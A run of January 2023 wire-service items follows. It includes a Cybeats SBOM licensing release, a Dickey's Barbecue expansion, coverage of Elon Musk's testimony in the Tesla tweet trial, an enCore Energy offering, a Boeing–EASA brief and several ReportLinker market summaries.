Sustainable Energy for All (SEforALL) is an international organization that works in partnership with the United Nations and leaders in government, the private sector, financial institutions, civil society and philanthropies to drive faster action towards the achievement of Sustainable Development Goal 7 (SDG7)  access to affordable, reliable, sustainable and modern energy for all by 2030  in line with the Paris Agreement on climate.

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SOURCE CPower Energy Management
TORONTO, Jan. 24, 2023 /PRNewswire/ - Cybeats Technologies Corp. ("Cybeats'' or the "Company") (CSE: CYBT) is pleased to announce the signing of a three-year software licence agreement for Cybeats SBOM Studio1 with a global leader in building technology and industrial automation, to manage their Software Bill of Materials (SBOM) and improve security across the software supply chain.

Cybeats Technologies Corp. Logo (CNW Group/Cybeats Technologies Corp.)

This multi-year agreement will see SBOM Studio deployed by one of the world's leading providers of building technology, software, and services for hospitals, schools, data centres, airports, stadiums and manufacturing industries worldwide. This agreement is the largest commercial agreement to date for Cybeats, exceeding the Company's previously announced largest contract to date2, and marks the third major contract with a multi-billion dollar global industrial technology leader, positioning the company for continued growth across this large industry vertical.

"SBOM Studio continues to demonstrate its immediate value and industry-leading capabilities across several critical infrastructure sectors which is translating into commercial success," said Yoav Raiter, CEO, Cybeats. "Industrial technology is amongst the most vulnerable targets for software supply chain attacks, and having several Fortune 500 industry leaders choosing SBOM Studio provides us the evidence we need to rapidly scale growth in this sector and beyond."

"SBOM management is essential to securing mission-critical systems and the integrity of software supply chains. With this agreement, SBOM Studio has further entrenched its value and capabilities in the ICS and BMS sector, where transparency in the software supply chain is essential to both SBOM producers and consumers," said Dmitry Raidman, CTO, Cybeats. "Cybeats' platform offers the necessary scalability and accuracy for our customers to identify vulnerabilities and potential security risks in the software dependencies used by their systems, and helps them comply with upcoming regulations and stay ahead of industry standards."

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The agreement was executed on January 17, 2023, entails over six figures of annual recurring revenue, and comes just days after Cybeats penetrated the healthcare sector with the announcement of a contract with a top 3 global medical device and diagnostics company.3 The new client offers one of the world's largest portfolio's of building technology and services such as fire prevention, HVAC, building automation, and industrial controls.



"We are thrilled to sign this large client and add yet another prominent industry leader of this size and caliber to our client roster which helps galvanize our position in the building and infrastructure sector," said Bob Lyle, CRO, Cybeats. "SBOM Studio has received invaluable customer recognition from sector leaders across a diverse range of industry verticals from industrial technology and healthcare, to automotive and advertising technology, and we expect to see continued commercial traction as awareness of Cybeats builds."

Upcoming Events

Join us at the CISO Forum Canada in Toronto, Ontario from January 30 to 31 as Cybeats leads a panel discussion on Software Supply Chain Security with cybersecurity leaders from CN Rail, Craft Ventures and SAP: https://www.siberx.org/event/ciso-forum-canada-2023/

Join us at the Fira Gran Via, Barcelona from 27 February  2 March, 2023 at MWC Barcelona4, the world's most influential exhibition for the device connectivity and security industry: https://www.mwcbarcelona.com/

Come meet us at S4x23 in Miami February 13-16! Discover new ideas and come up with innovative ways to use these new ideas to deploy secure and resilient industrial control systems5: https://s4xevents.com/

About SBOM Studio

Cybeats' SBOM Studio enables organizations to efficiently manage, distribute, and view their software bill of materials (SBOMs) in a single interface. By doing so, they can easily identify and address cybersecurity vulnerabilities, reduce the cost of protection, and improve compliance. SBOM Studio is specifically designed to support software producers and consumers who use open source and 3rd party software components and who are transitioning to more transparent software development practices. The tool is compatible with various SBOM generation tools and can validate and correct imported SBOMs to improve their accuracy.

About Cybeats

Cybeats is a cybersecurity company providing SBOM management and software supply chain intelligence technology, helping organizations to manage risk, meet compliance requirements, and secure their software from procurement to development and operation. Our platform gives customers comprehensive visibility and transparency into their software supply chain, enabling them to improve operational efficiency and increase revenue. Cybeats. Software Made Certain. Website: https://cybeats.com

SUBSCRIBE: For more information, or to subscribe to the Company's mail list, visit: https://www.cybeats.com/investors

Forward-looking Information Cautionary Statement

Except for statements of historic fact, this news release contains certain "forward-looking information" within the meaning of applicable securities law. Forward-looking information is frequently characterized by words such as "plan", "expect", "project", "intend", "believe", "anticipate", "estimate" and other similar words, or statements that certain events or conditions "may" or "will" occur. Forward-looking statements are based on the opinions and estimates at the date the statements are made, and are subject to a variety of risks and uncertainties and other factors that could cause actual events or results to differ materially from those anticipated in the forward-looking statements including, but not limited to delays or uncertainties with regulatory approvals, including that of the CSE. There are uncertainties inherent in forward-looking information, including factors beyond the Company's control. There are no assurances that the commercialization plans for the technology described in this news release will come into effect on the terms or time frame described herein. The Company undertakes no obligation to update forward-looking information if circumstances or management's estimates or opinions should change except as required by law. The reader is cautioned not to place undue reliance on forward-looking statements. Company filings are available at sedar.com.

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SOURCE Cybeats Technologies Corp.
Worlds largest barbecue concept opening stores in Manila, Philippines

Dickey's Barbecue Moves into the Philippines

Barbecue Brand continues global expansion

Dallas, Jan. 23, 2023 (GLOBE NEWSWIRE) -- Dickeys Barbecue Pit is continuing its smoking-hot development streak across the globe as the iconic Texas-born brand announced their expansion into the Philippines.

With this exciting global expansion news, Dickeys Executive Vice President Jim Perkins and Master Partner, John Lee, of the San Francisco Bay area recently visited the Philippines with a solid foundation in place to open the first Dickeys Barbecue Pit in Manila in the second Quarter of 2023.

John Lee is a real estate professional, as well as a restaurateur who already own a Dickeys Barbecue Pit in the San Francisco Bay Area, a national burger chain, as well as having created his own concepts, including Burmese and Peruvian eateries. John's son, Max Lee, current Owner/Operator of the Bay Area Dickeys, will lead the expansion in the Philippines and the development of an additional 40 locations.

We are absolutely thrilled to be bringing the best Legit. Texas. Barbecue. across the globe to the Philippines in 2023, said Jim Perkins. With the representation of the Lee family, we have no doubt that the upcoming Dickeys development will be a major success.

With this latest announcement, Dickeys continues to strengthen its international presence as the worlds largest barbecue brand and franchise. With over 550 barbecue restaurants including in Brazil, Egypt, Japan, Pakistan, Singapore, and the United Arab Emirates.

To learn more, follow Dickeys Barbecue Pit on Facebook, Instagram and Twitter. Download the Dickeys Barbecue Pit app from the Apple App Store or Google Play.

To learn more about Dickeys Virtual Concepts follow: Wing Boss on Facebook, Instagram and Tik Tok , Trailer Birds on Facebook, Instagram and Tik Tok and Big Deal Burger on Facebook, Instagram and Tik Tok

About Dickeys Barbecue Restaurants, Inc.

Dickey's Barbecue Restaurants, Inc., the worlds largest barbecue concept, was founded in 1941 by the Dickey family. For the past 80 years, Dickeys Barbecue Pit has served millions of guests in 44 states Legit. Texas. Barbecue. At Dickeys, all our barbecued meats are smoked onsite in a hickory wood burning pit. Dickeys proudly believes theres no shortcut to true barbecue and its why our name isnt BBQ. The Dallas-based, family-run barbecue franchise offers eight slow-smoked meats and 12 wholesome sides with 'No B.S. (Bad Stuff)' included. Dickeys Barbecue has 550 locations across the United States and eight other countries.

Story continues

Dickeys was named to Newsweeks 2022 Americas Favorite Restaurant Chains list and USA Today 2021 readers choice awards. Dickeys won first place on Fast Casuals Top 100 Movers and Shakers list, been named a Top 500 Franchise by Entrepreneur and named to Hospitality Technologys Industry Heroes list. Led by CEO Laura Rea Dickey, who was named among the countrys 50 most influential women in foodservice in Nations Restaurant News, was recognized by Fast Casuals Top 100 Movers and Shakers list and honored by Dallas Business Journal. Dickey's Barbecue Pit has also been recognized by Fox News, Forbes Magazine, Franchise Times, The Dallas Morning News, The Wall Street Journal, People Magazine and QSR Magazine. Dickeys Barbecue is part of Dickeys Restaurant Brands which has more than 700 restaurants nationwide including brands Wing Boss, Trailer Birds, Big Deal Burger and bbqathome.com. DRB is led by CEO Roland Dickey Jr. For more information, visit www.dickeys.com.

# # #

Attachment

CONTACT: Shannon Santos Dickey's Barbecue Pit ssantos@dickeys.com




During a third day on the witness stand, Tesla (TSLA) CEO Elon Musk stuck to his position that he was honest when he tweeted in 2018 that he had secured funding to take the electric-vehicle company private.

Its absolutely what I believed, Musk said Tuesday under questioning from his lawyer, Alex Spiro, about his disputed tweet. During three plus hours of testimony, Musk elaborated on the main themes from his prior testimony to back up his contention that funding was secured.

Musks testimony promises to serve as key evidence for the jury to weigh in the ongoing federal-class action lawsuit brought by a group of Tesla shareholders who say they lost money when they traded the companys stock based on the tweets.

August 7, 2018 Tweet from Elon Musk

On Tuesday, Musk again noted that multiple sources of funding were available for a take-private transaction, including Saudi Arabia's Public Investment Fund that had verbally committed in meetings before the tweet to help him privatize the company.

"We are talking about the Kingdom of Saudi Arabia here. They have the money to take Tesla private several times over," Musk said.

Alternatively, he said, he could have raised funding from other sources, or sold SpaceX shares, if Saudi financing fell through.

"Funding was absolutely not an issue," Musk said, adding that he ultimately scuttled take-private plans after smaller Tesla shareholders expressed a preference to keep the company public.

Other wealthy individuals and investment funds had also expressed interest in supporting or participating in a take-private transaction, Musk said, including Egon Durban, managing partner for Silver Lake; Ron Barron, a billionaire investor; and Dan Dees, co-head of global investment banking for Goldman Sachs.

According to Musk, Yasir Al-Rumayyan, a Saudi fund representative who is outside the U.S. jurisdiction and declined to testify in the case, called Durban to confirm the fund wanted to take Tesla private. And Dees, Musk said, wrote an email to Musk saying that Musk's proposed structure and rationale for the deal made "perfect sense.

Story continues

Tesla CEO Elon Musk is questioned by the investors' attorney Nicholas Porritt before Judge Edward Chen as a screen displays one of Musk's tweets, during a securities-fraud trial at federal court in San Francisco, California, U.S., January 23, 2023 in this courtroom sketch. REUTERS/Vicki Behringer

On Monday, Musk said that advance notice he received of a soon-to-publish Financial Times news report was the driving factor behind his decision to post the tweet at the heart of the case.

"I was trying my best to keep shareholders informed and insure that all shareholders had the same information," Musk reiterated during Tuesday's testimony.

Musk admitted that no specific dollar figure for funding had been discussed with any of Tesla's perspective investors. Doing so, he said, would have been premature because he had not yet asked shareholders if they would vote for privatization, or if shareholders would want to retain any ownership in a private Tesla. The amount of investor funding needed, he said, would increase or decrease depending on shareholder interest in retaining ownership.

Musk further testified that his track record of raising more than 100 oversubscribed funding rounds, sometimes within hours, gave him additional assurance that he could easily raise money to take Tesla private, regardless of commitments from outside investors.

I believe every funding round Ive ever done is oversubscribed, the billionaire said.

Pressed about his claim that a sale of his private SpaceX stock was a viable financing alternative, Musk pointed to the value of his holdings, and to his recent acquisition of Twitter.

I am the majority shareholder in [SpaceX] and that would enable me to sell a large portion of SpaceX to take [Tesla] private," Musk testified. "That is exactly what I did to take Twitter private."

Musk also said that he expected his "funding secured" tweet to be read together with his subsequent tweets posted the same day and with a blog post that Tesla posted to its website.

However, he recanted Monday testimony saying that he thought Tesla's stock price would probably go up after the controversial tweet.

On the stand Monday, Musk also admitted that the purported Saudi deal hadn't been memorialized in any signed documents.

Tesla CEO Elon Musk leaves the Phillip Burton Federal Building on January 24, 2023 in San Francisco, California. Musk testified at a trial regarding a lawsuit that has investors suing Tesla and Musk over his August 2018 tweets saying he was taking Tesla private with funding that he had secured. The tweet was found to be false and cost shareholders billions of dollars when Tesla's stock price began to fluctuate wildly allegedly based on the tweet. (Photo by Justin Sullivan/Getty Images)

At sake is an approximate $12.6 billion swing in Teslas market capitalization during a 10-day window that the shareholders say is at least in part attributable to Musks tweets. The shareholders' lawsuit alleges that Musk's tweets caused the fluctuation, with the stock rising in the wake of the tweet, then tumbling once the deal was off the table.

According to the shareholders, Musk illegally manipulated the stock price and he and Tesla's board should be held accountable for an unspecified portion of billions of dollars in damages sustained by those who bought or sold the company's stock after the tweet and up until Aug. 17, 2018.

To win their case, the shareholders must prove that, at the time of the tweets, Musk knew the information within them was materially false and that the information caused them to buy or sell Tesla shares to their detriment.

Senior District Court Judge Edward Chen, who is presiding over the case, has already ruled and instructed the nine-member jury that Musks funding statement was untrue. Jurors are therefore tasked with deciding whether the tweets were material  those that a reasonable investor would rely on in making investment decisions  and whether Musk believed his tweets to be true or false.

In a separate case brought by the U.S. Securities and Exchange Commission in response to the funding tweet, Musk and Tesla settled the matter, each paying a fine of $20 million. Musk also agreed in the accord to step down as Tesla's board chairman and to have Tesla's general counsel review potentially "material" tweets before they are posted. Musk is currently seeking to have that part of the settlement dissolved.

Musk's testimony concluded Tuesday. The trial is scheduled to continue with additional witnesses taking the stand on Wednesday. The trial is expected to last approximately two more weeks.

Alexis Keenan is a legal reporter for Yahoo Finance. Follow Alexis on Twitter @alexiskweed.

Follow Yahoo Finance on Twitter, Facebook, Instagram, Flipboard, SmartNews, LinkedIn, YouTube, and reddit.

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NYSE American:EU

TSX.V:EU

CORPUS CHRISTI, Texas, Jan. 24, 2023 /CNW/ - enCore Energy Corp. ("enCore" or the "Company") (NYSE: EU) (TSXV: EU) today announced that it has filed a preliminary short form prospectus in connection with an overnight marketed offering (the "Offering") of units (the "Units") of the Company. The Offering will be conducted through a syndicate of underwriters led by Canaccord Genuity (collectively, the "Underwriters").

Logo (CNW Group/enCore Energy Corp.)

Each Unit will consist of one common share in the capital of the Company (each a "Unit Share") and one-half of one common share purchase warrant (each a "Warrant"). Each Warrant will entitle the holder thereof to purchase one common share of the Company (a "Warrant Share").

The definitive size and pricing of the Offering, as well as the terms of the Warrants, will be determined in the context of the market at the time of entering into a definitive underwriting agreement between the Company and the Underwriters. The closing of the Offering will be subject to market and other customary conditions, including approvals of the TSX Venture Exchange and the NYSE American.

In addition, the Company has granted the Underwriters an option to purchase up to an additional 15% of the Units of the Offering on the same terms and conditions exercisable at any time, in whole or in part, until 30 days following the closing of the Offering, for market stabilization purposes and to cover over-allotments, if any.

The Company expects to use the net proceeds from the Offering to maintain and advance the Company's material properties, acquire properties, plant upgrades, drilling, maintenance and refurbishment, community outreach and communications, licensing and permitting and for general corporate and working capital purposes in the manner as set forth in the preliminary short form prospectus. In addition, if the Company is not able to complete a potential loan transaction contemplated by a non-binding term sheet prior to February 15, 2023, the Company expects to use a portion of the proceeds from the Offering to fund amounts required to be paid to complete the Company's previously announced pending acquisition of the Alta Mesa ISR uranium project (the "Alta Mesa Acquisition").

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The preliminary short form prospectus for the Offering of the Units has been filed with the securities commissions or similar securities regulatory authorities in each of the provinces of Canada except Quebec. A registration statement on Form F-10 (including such prospectus) (the "Registration Statement") has also been filed with the U.S. Securities and Exchange Commission (the "SEC") for the offering to which this communication relates but has not yet become effective. The preliminary short form prospectus and the Registration Statement contain important detailed information relating to the Company and the Offering. The preliminary prospectus is still subject to completion and amendment. There will not be any sale or acceptance of an offer to buy the securities until a receipt for the final prospectus has been issued and the Registration Statement becomes effective.

Before you invest, you should read the prospectus in that Registration Statement and other documents the Company has filed with the SEC for more complete information about the Company and this Offering. You may get these documents for free by visiting EDGAR on the SEC Web site at www.sec.gov and SEDAR at www.sedar.com. Alternatively, the issuer, any underwriter or any dealer participating in the offering will arrange to send you the prospectus if you request it in Canada from Canaccord Genuity Corp., 40 Temperance Street, Suite 2100, Toronto, ON M5H 0B4 and in the United States from Canaccord Genuity LLC, 99 High Street, Suite 1200, Boston, Massachusetts 02110, Attn: Syndicate Department, by telephone at (617) 371-3900, or by email at prospectus@canaccordgenuity.com.

About enCore Energy Corp.

enCore Energy is the most diversified In-Situ Recovery (ISR) uranium development company in the United States and recently announced it entered into a definitive agreement to acquire the Alta Mesa In-Situ Recovery uranium project. The Alta Mesa Acquisition will position enCore as a leading US-focused ISR uranium company with the proven management expertise required to advance multiple production opportunities within its portfolio. enCore is focused on becoming the next uranium producer from its licensed and past-producing South Texas Rosita Processing Plant by 2023. The South Dakota-based Dewey-Burdock project and the Wyoming Gas Hills project offer mid-term production opportunities, with significant New Mexico uranium resource endowments providing long-term opportunities. The enCore team is led by industry experts with extensive knowledge and experience in all aspects of ISR uranium operations and the nuclear fuel cycle. enCore is committed to engaging and working with local communities and indigenous governments to create positive impact from corporate developments.

Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

Cautionary Note Regarding Forward-Looking Statements: Certain information contained in this news release, including: any information relating to the Company being a leading uranium company; completion of the Offering and use of proceeds from the Offering; the ability of the Company to complete the Alta Mesa Acquisition and to realize the expected benefits of the Alta Mesa Acquisition; the closing of the potential loan transaction that is contemplated to fund the completion of the Alta Mesa Acquisition; and any other statements regarding future expectations, beliefs, goals or prospects; may constitute "forward-looking information" and "forward-looking statements" within the meaning of applicable Canadian and United States securities legislation (collectively, "forward-looking statements"). All statements in this news release that are not statements of historical fact (including statements containing the words "expects", "is expected", "does not expect", "plans", "anticipates", "does not anticipate", "believes", "intends", "estimates", "projects", "potential", "scheduled", "forecast", "budget" and similar expressions or variations (including negative variations) of such words and phrases, or statements that certain actions, events or results "may", "could", "would", "might" or "will" be taken) should be considered forward-looking statements. All such forward-looking statements are subject to important risk factors and uncertainties, many of which are beyond the companies' ability to control or predict. Forward-looking statements necessarily involve known and unknown risks, including, without limitation, risks associated with general economic conditions; adverse industry events; risks associated with accessing additional funding required for the transactions and operations discussed in this news release; the use of proceeds of the Offering; whether the Company will be able to complete the potential loan transaction that is contemplated to fund the completion of the Alta Mesa Acquisition; the Company's ability to complete the Alta Mesa Acquisition; future legislative and regulatory developments; the ability of enCore to implement its business strategies; and other risks. A number of important factors could cause actual results or events to differ materially from those indicated or implied by such forward-looking statements, including without limitation exploration and development risks, changes in commodity prices, access to skilled mining personnel, the results of exploration and development activities; uninsured risks; regulatory risks; defects in title; the availability of materials and equipment, timeliness of government approvals and unanticipated environmental impacts on operations; risks posed by the economic and political environments in which the Company operates and intends to operate; market instability due to the COVID-19 pandemic; the potential for losses arising from the expansion of operations into new markets; increased competition; assumptions regarding market trends and the expected demand and desires for the Company's products and proposed products; reliance on industry manufacturers, suppliers and others; the failure to adequately protect intellectual property; the failure to adequately manage future growth; adverse market conditions, the failure to satisfy ongoing regulatory requirements and factors relating to forward looking statements listed above which include risks as disclosed in the companies' annual information form filings. Should one or more of these risks materialize, or should assumptions underlying the forward-looking statements prove incorrect, actual results may vary materially from those described herein as intended, planned, anticipated, believed, estimated or expected. The Company assumes no obligation to update the information in this communication, except as required by law. Additional information identifying risks and uncertainties is contained in filings by the Company with the various securities commissions which are available online at www.sec.gov and www.sedar.com. Forward-looking statements are provided for the purpose of providing information about the current expectations, beliefs and plans of management. Such statements may not be appropriate for other purposes and readers should not place undue reliance on these forward-looking statements, that speak only as of the date hereof, as there can be no assurance that the plans, intentions or expectations upon which they are placed will occur. Such information, although considered reasonable by management at the time of preparation, may prove to be incorrect and actual results may differ materially from those anticipated. Forward-looking statements contained in this news release are expressly qualified by this cautionary statement.

Cision

View original content to download multimedia:https://www.prnewswire.com/news-releases/encore-energy-announces-proposed-public-offering-301729758.html

SOURCE enCore Energy Corp.

Cision

View original content to download multimedia: http://www.newswire.ca/en/releases/archive/January2023/24/c4167.html
(Corrects title of agency to add dropped word 'Union' in para 1)

Jan 24 (Reuters) - Boeing and European regulators are "hopefully converging" in talks over design requirements for the future 777X airliner, the head of the European Union Aviation Safety Agency (EASA) said on Tuesday.

The agency has been seen at odds with Boeing for more than a year over changes that it wants to see in the flight controls of the latest version of the 777 - one of the factors contributing to a cumulative five-year delay, according to industry sources.

"We are hopefully converging," Ky told Reuters when asked about the progress of ongoing discussions on the 777X.

Boeing and the U.S. Federal Aviation Administration did not immediately respond to requests for comment. (Reporting by Tim Hepher, Additional reporting by Valerie Insinna, David Shepardson Editing by MarkPotter)
ReportLinker

The Global Military Fixed-wing Aircraft Market is projected to register a CAGR of 6.53%. Key Highlights. Largest Market by Body Type - Multi-Role Aircraft : Their air superiority, ability to suppress enemy air defenses and perform air strikes, and use in electronic warfare missions are driving the procurement of advanced multi-role aircraft.

New York, Jan. 24, 2023 (GLOBE NEWSWIRE) -- Reportlinker.com announces the release of the report "Global Military Fixed-wing Aircraft Market - SIZE, SHARE, COVID-19 IMPACT & FORECASTS UP TO 2028" - https://www.reportlinker.com/p06381320/?utm_source=GNW



Largest Market by Region - North America : Various ongoing military modernization programs aimed at procuring advanced aircraft across the region are anticipated to drive the markets growth.

Largest Market by Country - United States : The United States is focusing on procuring more advanced fighter jets to maintain its military supremacy, thus supporting the growth of the military fixed-wing aircraft market.



Key Market Trends



Multi-Role Aircraft is the largest segment by Body Type.



The multi-role aircraft segment accounts for a major share in terms of revenue and volume as all the regions are investing heavily in the modernization of their aging military fixed-wing aircraft fleet and procuring next-generation aircraft.

The training and transport aircraft segments may also show healthy growth between 2022 and 2028, as the countries are looking to procure newer generation aircraft to replace some of the old aircraft models that have been operational for over several decades.

The others segment includes special mission platforms that serve as force multipliers and constitute a respectable segment in the military aviation market. Business jets or regional transport aircraft are being converted for special missions due to lower acquisition and operating costs. North America is expected to majorly drive the growth of this segment.

Some of the major ongoing and future procurements of military fixed-wing aircraft include Germanys procurement of the F-35 from Lockheed Martin, which is likely to be delivered in 2026. The company also anticipates further orders for the aircraft in Europe, with Greece and the Czech Republic showing strong interest in the technologically advanced F-35.

In December 2021, the United Arab Emirates made a deal with Dassault Aviation to purchase 80 Rafale F4 fighter jets for the UAE Air Force and Air Defence (UAE AF & AD). In May 2021, Egypt signed a contract with France to purchase 30 Rafale fighter jets in a deal valued at USD 4.5 billion.



North America is the largest segment by Region.



The fixed-wing aircraft accounted for around accounted for 60% of the global military aircraft fleet in 2021. The international security horizon in the second half of 2021 was marked by escalating conflicts and geopolitical and border issues, with major confrontations such as between Russia and Ukraine and India and China, and other nations in Asia-Pacific. The armed conflicts and internal security aided in a surge of defense expenditures globally, with nations strengthening their armed forces with new procurements of fixed-wing aircraft.

The world defense expenditure crossed over USD 2 trillion in 2021, with major military powers such as the United States increased their defense budget by 3%, from USD 778 billion in 2020 to over USD 800 billion in 2021. Because of which, the North America region is expected to be the largest across the world. The United States was followed by China, India, Russia, and the United Kingdom, which also increased their defense expenditure by 14%, 5%, 6.8%, and 13%, respectively.

In 2022, the war between Russia and Ukraine further fueled the need to reassess the operational readiness of the armed forces globally. NATO nations are undergoing fleet modernization and expansion programs with the procurement of new fixed-wing aircraft.

The active fleet of fixed-wing aircraft surged by around 1% from 2016 to 2021. Asia-Pacific and the Middle East are the major regions with a growth of 7% and 5%, respectively, in their active fixed-wing aircraft fleet. With the expansion of aircraft fleet, the global fixed-wing aircraft market is expected to increase during 2022-2028.



Competitive Landscape



The Global Military Fixed-wing Aircraft Market is fairly consolidated, with the top five companies occupying 81.11%. The major players in this market are Airbus SE, Aviation Industry Corporation of China, Ltd, Dassault Aviation, Lockheed Martin Corporation and The Boeing Company (sorted alphabetically).



Additional Benefits:



The market estimate (ME) sheet in Excel format

3 months of analyst support

Read the full report: https://www.reportlinker.com/p06381320/?utm_source=GNW



About Reportlinker

ReportLinker is an award-winning market research solution. Reportlinker finds and organizes the latest industry data so you get all the market research you need - instantly, in one place.



__________________________

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CONTACT: Clare: clare@reportlinker.com US: (339)-368-6001 Intl: +1 339-368-6001




ReportLinker

The Global Shrimp Market is projected to register a CAGR of 2.23%. Key Highlights. Largest Segment by Region - Asia-Pacific : Asia-Pacific largely produces shrimps, mainly in countries like India, Thailand, and China, which supports its easy supply in the region, leading to higher consumption.

New York, Jan. 23, 2023 (GLOBE NEWSWIRE) -- Reportlinker.com announces the release of the report "Global Shrimp Market - SIZE, SHARE, COVID-19 IMPACT & FORECASTS UP TO 2028" - https://www.reportlinker.com/p06381340/?utm_source=GNW



Largest Segment by Form - Frozen / Canned : Lower prices of frozen shrimp relative to fresh shrimp are the key reason for its demand. Canned shrimp is popular on online channels due to its ease of shipping.

Fastest-growing Segment by Region - South America : The growth in regional sales is due to the expansion of existing shrimp farms, production increase, falling shrimp prices, and the introduction of shrimp to a new audience.

Fastest-growing Segment by Form - Processed : The growing need for ready-to-eat and ready-to-cook food products gave rise to the demand for processed shrimp. The sales are higher from the online distribution channel.



Shrimp Market Trends



On-Trade is the largest segment by Distribution Channel.



In 2021, shrimp sales observed a Y-o-Y growth of 6%, by value, compared to the previous year owing to increased sales through the on-trade channel, which rose by 23.83% from 2020 to 2021. This was also because around 70% of people in countries like the United States, China, Malaysia, India, and others prefer to dine out to consume seafood. At the same time, rising disposable incomes are another major factor that has further driven sales. The on-trade channel accounted for a significant share of more than 60% in 2021 because, after the easing of pandemic-related lockdowns, sales rose by 23.83% in 2021 compared to the previous year.

The online channel is projected to be the fastest-growing channel with a CAGR, by value, of 9.24% during the forecast period 2022-2028. Sales through online channels were bolstered by 116.16% from 2019 to 2020 due to the COVID-19 pandemic, as offline stores were closed and people were restricted from stepping out of their homes. Major online stores like Amazon, Walmart, The Kroger Co., and others have launched more products with ASC certification, which has increased online seafood purchases to 57%.

Among off-trade channels, supermarkets/hypermarkets accounted for more than 60% of the share in 2021. After the COVID-19 pandemic, sales through supermarkets/hypermarkets declined by 22.8%, by value, from 2019 to 2021. This was due to the economic crisis in Europe, where the GDP fell by 7% in 2020, and to some extent in the United States, where the GDP decreased to 2.3%. Consumers have switched to private label brands instead of national brands, which offer varieties of shrimp products, such as South American White Shrimp, Asian White Shrimp, and Breaded Shrimp Products.



Asia-Pacific is the largest segment by Region.



The overall sales of shrimp in all the regions increased by 26.97% in 2021. With the increase in disposable income and health consciousness among consumers, there has been a spike in the adoption of high-protein seafood like shrimps with omega-3 fatty acids, selenium, and protein with exotic, premium taste.

In 2021, there was a sudden spike in the Y-o-Y growth of shrimp sales by 6.05%, mainly due to the COVID-19 pandemic. In 2020, imports, exports, and logistics were disrupted, which led to an increase in the effectiveness and efficiency of supply chains. As a result, the wastage in the supply chain declined, and production also increased, thus matching the global demand. The production of Indian shrimp increased by 8-9% in 2021, and many producers shifted their focus to retail rather than foodservices and other distribution channels. For example, producers and traders shifted from B2B to B2C in the United States, increasing their price margins.

Asia-Pacific dominates the shrimp market, with a 41% higher market share than North America and a 41.5% higher market share than Europe. This is mainly due to its population, as around 59% of the global population lives in Asia. It has more countries producing shrimp, such as India, Thailand, China, and others, which account for around 58% of global production, and 49% of the shrimp produced is consumed locally. The rest is exported to other countries like the United States for premium prices

South America is likely to be the fastest-growing shrimp market and record a CAGR of 3.77% by value during the forecast period 2022 -2028. The country is known for the premium quality and prices of its shrimp. The increase in investments and demand for premium shrimp is expected to drive the market. For instance, prominent market player Vitapro invested USD 80 million.



Shrimp Market Competitive Analysis



The Global Shrimp Market is fragmented, with the top five companies occupying 5.01%. The major players in this market are Beaver Street Fisheries, Dulcich Inc., Maruha Nichiro Corporation, Nippon Suisan Kaisha Ltd and Thai Union Group PCL (sorted alphabetically).



Additional Benefits:



The market estimate (ME) sheet in Excel format

3 months of analyst support

Read the full report: https://www.reportlinker.com/p06381340/?utm_source=GNW



About Reportlinker

ReportLinker is an award-winning market research solution. Reportlinker finds and organizes the latest industry data so you get all the market research you need - instantly, in one place.



__________________________

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CONTACT: Clare: clare@reportlinker.com US: (339)-368-6001 Intl: +1 339-368-6001




DUBLIN, Jan. 24, 2023 /PRNewswire/ -- The "The VNFO - Ripe for Change" report has been added to ResearchAndMarkets.com's offering.

From the conventional MANO to the trailblazing Nephio with Kubernetes and a bevy of proprietary and open-source projects, the MANO is perceived differently by enterprises and telcos. Add edge-computing and service orchestration to the mix and the VNFO definition itself becomes a mindbogglingly fluid entity.

Research_and_Markets_Logo

This report will remove the clutter surrounding VNFO and put hard numbers on its market size with clear-cut inclusions and exclusions. As always, the analyst speaks to a wide spectrum of stakeholders; which becomes increasingly important when forecasting the market size of a measurable as complex as the NFVO.

Highlights

The VNFO, the NFVO, the MANO, or the NFO is the most fluid among the already fluid terminologies in the NFV domain. The term often gets intermixed with service orchestrators, SDN controllers, and even OSS/BSS. This market is a heady mix of IT virtualization, including containers, microservices, and VMs; cloud computing in all its glory and cutting-edge programming concepts matching wits with the extremely conventional network function engineering methodologies.

Scope

The Executive Summary provides an overview of the market size of one of the most exciting element of NFV - the orchestrator.

Chapter 2, The Journey of NFV, highlights the different stages and phases in the journey of the orchestrator from VMs through containers and everything in between and beyond.

Chapter 3, Open Source Initiatives in VNFO and Allied Areas, captures the role played by the vibrant open source community in literally shaping and defining the fate of VNFOs.

Chapter 4, Open Source Initiatives in VNFO and Allied Areas, visits the other pole in the NF developer equation - the OEMs and other proprietary outfits.

Chapter 5, Telco Initiatives, looks at how leading telcos - the principal consumers of NFV have internalized and or struggled with the NFVO.

Chapter 6, Quantitative Forecasts, covers the quantitative forecasts in providing ringside as well as inside views of the NFVO markets by breaking them along end-applications. Each end-application in turn is broken down by user profile, geographical region, virtualization methodology, product profile, and deployment location.

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Key Topics Covered:

1. Executive Summary

1.1 The End Applications

1.2 Challenges in NFVO Market Sizing

1.3 Principal Observations

1.4 Report Organization

2. The Journey of NFV

2.1 VM-based VNFs

2.1.1 History and Progression

2.1.2 NFV architecture

2.1.2.1 VNFi/NFVi

2.1.2.2 VNFs

2.1.2.3 MANO

2.2 Containers - The Challengers

2.2.1 What are Containers?

2.2.2 Microservices

2.2.3 Container Morphology

2.2.3.1 Provisioning and Run-time Management Block

2.2.3.2 Orchestration Block

2.2.3.3 Application Deployment Block

2.2.4 Container Deployment Methodologies

2.2.4.1 Virtual Machine (VM)

2.2.4.2 Bare Metal

2.2.4.3 Cloud or Container as-a-Service (CaaS)

2.2.5 Stateful and Stateless Containers

2.3 Contrasting Containers and VMs

3. Open-Source Initiatives in VNFO and Allied Areas

3.1 Introduction

3.2 Salient Observations

3.3 Company and Organization Summary

3.4 Open-Source MANO (OSM)

3.4.1 OSM Information Model

3.4.2 Release TWELVE

3.5 ONAP

3.6 Kubernetes

3.7 Nephio

3.7.1 Features of Nephio

3.7.1.1 Uniform Automation Control Plane

3.7.1.2 Declarative Automation Framework

3.7.2 Reference Architecture

3.8 Edge Multi-Cluster Orchestrator (EMCO)

3.8.1 EMCO Architecture

3.8.2 EMCO Functionality

3.8.3 Partners and Customers

4. Proprietary Initiatives in VNFO and Allied Areas

4.1 Introduction

4.2 Salient Observations

4.3 Company and Organization Summary

4.4 O-RAN SMO and AMCOP from Aarna Networks

4.4.1 SMO in O-RAN Architecture

4.4.2 AMCOP O-RAN SMO Architecture v04.00

4.4.3 O-RAN SMO Interfaces

4.4.4 Partners and Customers

4.4.5 AMCOP

4.4.6 AMCOP Architecture

4.4.7 AMCOP Functionality

4.4.8 AMCOP 3.1

4.4.9 Partners and Customers

